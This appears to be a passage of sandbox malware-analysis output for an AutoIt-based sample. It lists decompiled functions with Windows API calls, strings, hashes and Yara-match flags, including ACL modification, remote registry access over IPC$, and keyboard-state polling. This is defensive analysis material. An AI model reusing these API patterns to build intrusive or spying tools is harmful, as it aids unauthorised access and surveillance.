Opcode ID: c4201514d9f3aa5e8208be1e4e9f9cb8accef5f8d3f68900e11a073b3c4e0e5f
Instruction ID: ee9edaba051e5a5b0f59a498d423a28ab04dd5e645c0f57b3a6a46732ff1b33c
Opcode Fuzzy Hash: c4201514d9f3aa5e8208be1e4e9f9cb8accef5f8d3f68900e11a073b3c4e0e5f
Instruction Fuzzy Hash: 8951CD71900209AADF19EBE8CD4AEEEB778FF08341F500165F915E2152EB352F58DB62

Function 008A0065 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000000,?,0088F8B8,00000001,0000138C,00000001,00000000,00000001,?,008B3FF9,00000000), ref: 008A009A
LoadStringW.USER32(00000000,?,0088F8B8,00000001), ref: 008A00A3

Part of subcall function 00851A36: _memmove.LIBCMT ref: 00851A77

GetModuleHandleW.KERNEL32(00000000,00907310,?,00000FFF,?,?,0088F8B8,00000001,0000138C,00000001,00000000,00000001,?,008B3FF9,00000000,00000001), ref: 008A00C5
LoadStringW.USER32(00000000,?,0088F8B8,00000001), ref: 008A00C8
__swprintf.LIBCMT ref: 008A0118
__swprintf.LIBCMT ref: 008A0129
_wprintf.LIBCMT ref: 008A01D2
MessageBoxW.USER32(00000000,?,?,00011010), ref: 008A01E9

Strings

Line %d:, xrefs: 008A0123
Line %d (File "%s"):, xrefs: 008A0112
Error: , xrefs: 008A01A0
^ ERROR, xrefs: 008A017E
%s (%d) : ==> %s: %s %s, xrefs: 008A01CD

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: 2a8d6466ad017095391cb99eebe75c18d8ee4fb55f2984bef4183eb90c52e409
Instruction ID: 847c296bfa65bd5b391a909a7c6a2dede4935f33a94282c52d82a2689430df60
Opcode Fuzzy Hash: 2a8d6466ad017095391cb99eebe75c18d8ee4fb55f2984bef4183eb90c52e409
Instruction Fuzzy Hash: 96414F7290021DAADF15EBE8CD8AEEE7778FF15341F500165F905E2092EA356F08CB62

Function 008AA995 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00844D37: __itow.LIBCMT ref: 00844D62
Part of subcall function 00844D37: __swprintf.LIBCMT ref: 00844DAC

CharLowerBuffW.USER32(?,?), ref: 008AAA0E
GetDriveTypeW.KERNEL32 ref: 008AAA5B
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 008AAAA3
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 008AAADA
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 008AAB08

Part of subcall function 00851821: _memmove.LIBCMT ref: 0085185B

Strings

type cdaudio alias cd wait, xrefs: 008AAA86
close, xrefs: 008AAA14
close cd wait, xrefs: 008AAAF3
set cd door , xrefs: 008AAAA9
wait, xrefs: 008AAAC5
closed, xrefs: 008AAA22, 008AAA2B
open, xrefs: 008AAA35
open , xrefs: 008AAA6A

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: f9552e1844fbbfbebe67c57a4742b72d6d1dfcb87414f53bfd03ebf91b87d32c
Instruction ID: ec5b8b7d0ffd8262a05c04a51b290ef747a22a10104058e4222dc99308a6c5d5
Opcode Fuzzy Hash: f9552e1844fbbfbebe67c57a4742b72d6d1dfcb87414f53bfd03ebf91b87d32c
Instruction Fuzzy Hash: 6F518B711043089FC704EF28C881A6AB7E4FF98759F104A2DF895D7661DB31EE0ACB52

Function 008AA832 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 008AA852
__swprintf.LIBCMT ref: 008AA874
CreateDirectoryW.KERNEL32(?,00000000), ref: 008AA8B1
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 008AA8D6
_memset.LIBCMT ref: 008AA8F5
_wcsncpy.LIBCMT ref: 008AA931
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 008AA966
CloseHandle.KERNEL32(00000000), ref: 008AA971
RemoveDirectoryW.KERNEL32(?), ref: 008AA97A
CloseHandle.KERNEL32(00000000), ref: 008AA984

Strings

\??\%s, xrefs: 008AA86E
\, xrefs: 008AA88A
:, xrefs: 008AA895

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 4650b9386256c767e6a426ae8eb371fe8d44ec780de0899df2096eb847567e75
Instruction ID: 8f9ceec9a1fc5c02b710449e13de01c930c8008ff8510fb2ace3ebbea7ef9e2f
Opcode Fuzzy Hash: 4650b9386256c767e6a426ae8eb371fe8d44ec780de0899df2096eb847567e75
Instruction Fuzzy Hash: B031AD7190020AABEB219FA4DC49FEB77BCFF89700F1441B6FA18D2560EB749644CB25

Function 0087AAFB Relevance: 22.7, APIs: 15, Instructions: 211COMMONLIBRARYCODE

Download Yara Rule

APIs

_copy_environ.LIBCMT ref: 0087AB5B
___wtomb_environ.LIBCMT ref: 0087AB7D

Part of subcall function 00868D58: __getptd_noexit.LIBCMT ref: 00868D58

__malloc_crt.LIBCMT ref: 0087ABA5
__malloc_crt.LIBCMT ref: 0087ABC2
_free.LIBCMT ref: 0087ABF9
__recalloc_crt.LIBCMT ref: 0087AC32
__recalloc_crt.LIBCMT ref: 0087AC77
_strlen.LIBCMT ref: 0087ACA3
__calloc_crt.LIBCMT ref: 0087ACAD
_strlen.LIBCMT ref: 0087ACBC
SetEnvironmentVariableA.KERNEL32(00000000,00000000,?,?,?,?,00000000,00000000), ref: 0087ACEA
_free.LIBCMT ref: 0087AD04
_free.LIBCMT ref: 0087AD11
_free.LIBCMT ref: 0087AD23
__invoke_watson.LIBCMT ref: 0087AD3D

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: _free$__malloc_crt__recalloc_crt_strlen$EnvironmentVariable___wtomb_environ__calloc_crt__getptd_noexit__invoke_watson_copy_environ
String ID:
API String ID: 884005220-0
Opcode ID: d80582d2d47ee8238fa380f405e3a94b4d3d09dbe982b4e18f60ff0fde3e8bc6
Instruction ID: f4dab7e48e3122659dca58b8635f9c39c068fca114d5054477b912068a544685
Opcode Fuzzy Hash: d80582d2d47ee8238fa380f405e3a94b4d3d09dbe982b4e18f60ff0fde3e8bc6
Instruction Fuzzy Hash: 01612672505205EFEB295F68D841B6E77A5FF90332F128215E80DEB1D9DB38C8418BA3

Function 008CC0A5 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,008C982C,?,?), ref: 008CC0C8
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,008C982C,?,?,00000000,?), ref: 008CC0DF
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,008C982C,?,?,00000000,?), ref: 008CC0EA
CloseHandle.KERNEL32(00000000,?,?,?,?,008C982C,?,?,00000000,?), ref: 008CC0F7
GlobalLock.KERNEL32(00000000), ref: 008CC100
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,008C982C,?,?,00000000,?), ref: 008CC10F
GlobalUnlock.KERNEL32(00000000), ref: 008CC118
CloseHandle.KERNEL32(00000000,?,?,?,?,008C982C,?,?,00000000,?), ref: 008CC11F
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,008C982C,?,?,00000000,?), ref: 008CC130
OleLoadPicture.OLEAUT32(?,00000000,00000000,008D3C7C,?), ref: 008CC149
GlobalFree.KERNEL32(00000000), ref: 008CC159
GetObjectW.GDI32(00000000,00000018,?), ref: 008CC17D
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 008CC1A8
DeleteObject.GDI32(00000000), ref: 008CC1D0
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 008CC1E6

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: ae0ee12396e15344c95fd6014f88b0418a8b2c69956c7151165e44521d97ff19
Instruction ID: ac44eb1e0fc602ff0107a381d325dafdec7ae5089eb160b0bade104c517d888e
Opcode Fuzzy Hash: ae0ee12396e15344c95fd6014f88b0418a8b2c69956c7151165e44521d97ff19
Instruction Fuzzy Hash: F1413971602208EFCB219F65DC88FAEBBB9FB89711F14415AF909E7260DB309941DF60

Function 008CC854 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 008429E2: GetWindowLongW.USER32(?,000000EB), ref: 008429F3

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 008CC8A4
GetFocus.USER32 ref: 008CC8B4
GetDlgCtrlID.USER32(00000000), ref: 008CC8BF
_memset.LIBCMT ref: 008CC9EA
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 008CCA15
GetMenuItemCount.USER32(?), ref: 008CCA35
GetMenuItemID.USER32(?,00000000), ref: 008CCA48
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 008CCA7C
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 008CCAC4
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 008CCAFC
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 008CCB31

Strings

0, xrefs: 008CC9E2

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 408e68443fee57151c2027234f580654dac41202b8ffff5782b5aace0c79fae0
Instruction ID: db4c23f8fbf743d319e97a6163ccb303147ca009bfb46fe9afa7da2b28e4d290
Opcode Fuzzy Hash: 408e68443fee57151c2027234f580654dac41202b8ffff5782b5aace0c79fae0
Instruction Fuzzy Hash: 01813570608315AFD710CF14D885F6ABBF9FB88364F04492EF999E2291D730D905CBA2

Function 03B9BCE8 Relevance: 21.2, APIs: 14, Instructions: 217windowCOMMON

Download Yara Rule

APIs

Part of subcall function 03B9C364: GetDC.USER32(00000000), ref: 03B9C3BA
Part of subcall function 03B9C364: GetDeviceCaps.GDI32(00000000,0000000C), ref: 03B9C3CF
Part of subcall function 03B9C364: GetDeviceCaps.GDI32(00000000,0000000E), ref: 03B9C3D9
Part of subcall function 03B9C364: CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,03B9AF1B,00000000,03B9AFA7), ref: 03B9C3FD
Part of subcall function 03B9C364: ReleaseDC.USER32(00000000,00000000), ref: 03B9C408

SelectPalette.GDI32(?,?,000000FF), ref: 03B9BD2A
RealizePalette.GDI32(?), ref: 03B9BD39
GetDeviceCaps.GDI32(?,0000000C), ref: 03B9BD4B
GetDeviceCaps.GDI32(?,0000000E), ref: 03B9BD5A
GetBrushOrgEx.GDI32(?,?,0000000E,00000000,?,0000000C), ref: 03B9BD8D
SetStretchBltMode.GDI32(?,00000004), ref: 03B9BD9B
SetBrushOrgEx.GDI32(?,?,?,?,?,00000004,?,?,0000000E,00000000,?,0000000C), ref: 03B9BDB3
SetStretchBltMode.GDI32(00000000,00000003), ref: 03B9BDD0
CreateCompatibleDC.GDI32(00000000), ref: 03B9BE30
SelectObject.GDI32(?,?), ref: 03B9BE45
SelectObject.GDI32(?,00000000), ref: 03B9BEA4
DeleteDC.GDI32(00000000), ref: 03B9BEB3

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CapsDevice$PaletteSelect$BrushCreateModeObjectStretch$CompatibleDeleteHalftoneRealizeRelease
String ID:
API String ID: 2414602066-0
Opcode ID: d7652a95f724b1b6c3acf6365c304bf2bef4255b00bdb5fd31ce3d6f2dd9839c
Instruction ID: 43c7c28814fefbb62633bc997a25be09673304ca276abcbb38fba5169233cea8
Opcode Fuzzy Hash: d7652a95f724b1b6c3acf6365c304bf2bef4255b00bdb5fd31ce3d6f2dd9839c
Instruction Fuzzy Hash: E471F8B9A04605AFEB50DFA8D985F9EBBF8EF0D204F1485B5B608EB651D634ED00CB50

Function 00898ACA Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00898E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00898E3C
Part of subcall function 00898E20: GetLastError.KERNEL32(?,00898900,?,?,?), ref: 00898E46
Part of subcall function 00898E20: GetProcessHeap.KERNEL32(00000008,?,?,00898900,?,?,?), ref: 00898E55
Part of subcall function 00898E20: HeapAlloc.KERNEL32(00000000,?,00898900,?,?,?), ref: 00898E5C
Part of subcall function 00898E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00898E73

Part of subcall function 00898EBD: GetProcessHeap.KERNEL32(00000008,00898916,00000000,00000000,?,00898916,?), ref: 00898EC9
Part of subcall function 00898EBD: HeapAlloc.KERNEL32(00000000,?,00898916,?), ref: 00898ED0
Part of subcall function 00898EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00898916,?), ref: 00898EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00898B2E
_memset.LIBCMT ref: 00898B43
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00898B62
GetLengthSid.ADVAPI32(?), ref: 00898B73
GetAce.ADVAPI32(?,00000000,?), ref: 00898BB0
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00898BCC
GetLengthSid.ADVAPI32(?), ref: 00898BE9
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00898BF8
HeapAlloc.KERNEL32(00000000), ref: 00898BFF
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00898C20
CopySid.ADVAPI32(00000000), ref: 00898C27
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00898C58
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00898C7E
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00898C92

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: b4f3164c74847519e66799d2ceb646ee62037da2a47d7ec58454839269740d17
Instruction ID: 6be03bd4f34bab02ae54acc925a71319ca233ec4455f6e5d2a11d28942866c21
Opcode Fuzzy Hash: b4f3164c74847519e66799d2ceb646ee62037da2a47d7ec58454839269740d17
Instruction Fuzzy Hash: 2F61577190120AFFDF10AFA4DC44EAEBB79FF05304F18826AE915E7291DB319A05CB60

Function 008AA48D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 008AA4D4

Part of subcall function 00851A36: _memmove.LIBCMT ref: 00851A77

LoadStringW.USER32(?,?,00000FFF,?), ref: 008AA4F6
__swprintf.LIBCMT ref: 008AA54F
__swprintf.LIBCMT ref: 008AA568
_wprintf.LIBCMT ref: 008AA61E
_wprintf.LIBCMT ref: 008AA63C

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 008AA619
"%s" (%d) : ==> %s:, xrefs: 008AA637
Line %d (File "%s"):, xrefs: 008AA549, 008AA562
Error: , xrefs: 008AA5E6
^ ERROR, xrefs: 008AA5C0

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: 12bdb36c5b38efa5a37189686097b951c6a0a15d5d0db117e22027437791241d
Instruction ID: 1399f132cb3aca74373a5afa69a8913a26a9d9e19add4d60a10704d400d51083
Opcode Fuzzy Hash: 12bdb36c5b38efa5a37189686097b951c6a0a15d5d0db117e22027437791241d
Instruction Fuzzy Hash: F1519B71800209AADF19EBE8CD4AEEEB778FF14341F100125B915E25A1EB316F48DB62

Function 03B981A0 Relevance: 21.1, APIs: 14, Instructions: 131windowCOMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(00000000), ref: 03B981B7
CreateCompatibleDC.GDI32(00000000), ref: 03B981C1
GetObjectA.GDI32(?,00000018,?), ref: 03B981E1
CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 03B981F8
GetDC.USER32(00000000), ref: 03B98204
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 03B98231
ReleaseDC.USER32(00000000,00000000), ref: 03B98257
SelectObject.GDI32(?,?), ref: 03B98272
SelectObject.GDI32(?,00000000), ref: 03B98281
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,?,?,00CC0020), ref: 03B982AD
SelectObject.GDI32(?,00000000), ref: 03B982BB
SelectObject.GDI32(?,00000000), ref: 03B982C9
DeleteDC.GDI32(?), ref: 03B982DF
DeleteDC.GDI32(?), ref: 03B982E8

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Object$CreateSelect$Compatible$BitmapDelete$ReleaseStretch
String ID:
API String ID: 644427674-0
Opcode ID: bd89d83690c451f2308a0fa5a5a3f5593377b778071b2ac51db53b3b733047b5
Instruction ID: 62ee995246ed54c353781120408ab4243ce682dd60360d3cf29a49cc21a3a85f
Opcode Fuzzy Hash: bd89d83690c451f2308a0fa5a5a3f5593377b778071b2ac51db53b3b733047b5
Instruction Fuzzy Hash: CE41FB75E04719BFEB50EBE8C841FAFB7BCEB09704F5444B5B614EB241C67899008B60

Function 008983FA Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00851821: _memmove.LIBCMT ref: 0085185B

_memset.LIBCMT ref: 00898489
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 008984BE
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 008984DA
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 008984F6
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00898520
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00898548
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00898553
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00898558

Strings

SOFTWARE\Classes\, xrefs: 0089842A
\CLSID, xrefs: 00898440
\IPC$, xrefs: 008984A0

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 18ebde833b7f25c58066b56d17f9ec19a662865c7ca137517bb4c9f7d50840b8
Instruction ID: e3dd6069e92c39fc182c508ea48aac161b2f780d4fb84675dac52a014aeeffc9
Opcode Fuzzy Hash: 18ebde833b7f25c58066b56d17f9ec19a662865c7ca137517bb4c9f7d50840b8
Instruction Fuzzy Hash: 0A410772C1022DABCF11EBA8DC99EEDB778FF04751F444129E915E2261EB319E08CB91

Function 008A081B Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 008A0896
SetKeyboardState.USER32(?), ref: 008A0901
GetAsyncKeyState.USER32(000000A0), ref: 008A0921
GetKeyState.USER32(000000A0), ref: 008A0938
GetAsyncKeyState.USER32(000000A1), ref: 008A0967
GetKeyState.USER32(000000A1), ref: 008A0978
GetAsyncKeyState.USER32(00000011), ref: 008A09A4
GetKeyState.USER32(00000011), ref: 008A09B2
GetAsyncKeyState.USER32(00000012), ref: 008A09DB
GetKeyState.USER32(00000012), ref: 008A09E9
GetAsyncKeyState.USER32(0000005B), ref: 008A0A12
GetKeyState.USER32(0000005B), ref: 008A0A20

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 765293208733db5298da2d9fa44539487168aba3a77f460f19f39e697a53c2e9
Instruction ID: ffd137a790e4f3586d9c4d36d4a243b23d9c68b952e8b25140423c61c228f433
Opcode Fuzzy Hash: 765293208733db5298da2d9fa44539487168aba3a77f460f19f39e697a53c2e9
Instruction Fuzzy Hash: A151AD2490578819FB35D77448157AABFB4FF03380F08459DD5C2979C3DA64AA4CCFA6

Function 008423F7 Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00841F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00842412,?,00000000,?,?,?,?,00841AA7,00000000,?), ref: 00841F76

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 008424AF
KillTimer.USER32(00000024,?,?,?,?,00841AA7,00000000,?,?,00841EBE,?,?), ref: 0084254A
DestroyAcceleratorTable.USER32(00000000), ref: 0087BFE7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00841AA7,00000000,?,?,00841EBE,?,?), ref: 0087C018
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00841AA7,00000000,?,?,00841EBE,?,?), ref: 0087C02F
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00841AA7,00000000,?,?,00841EBE,?,?), ref: 0087C04B
DeleteObject.GDI32(00000000), ref: 0087C05D

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

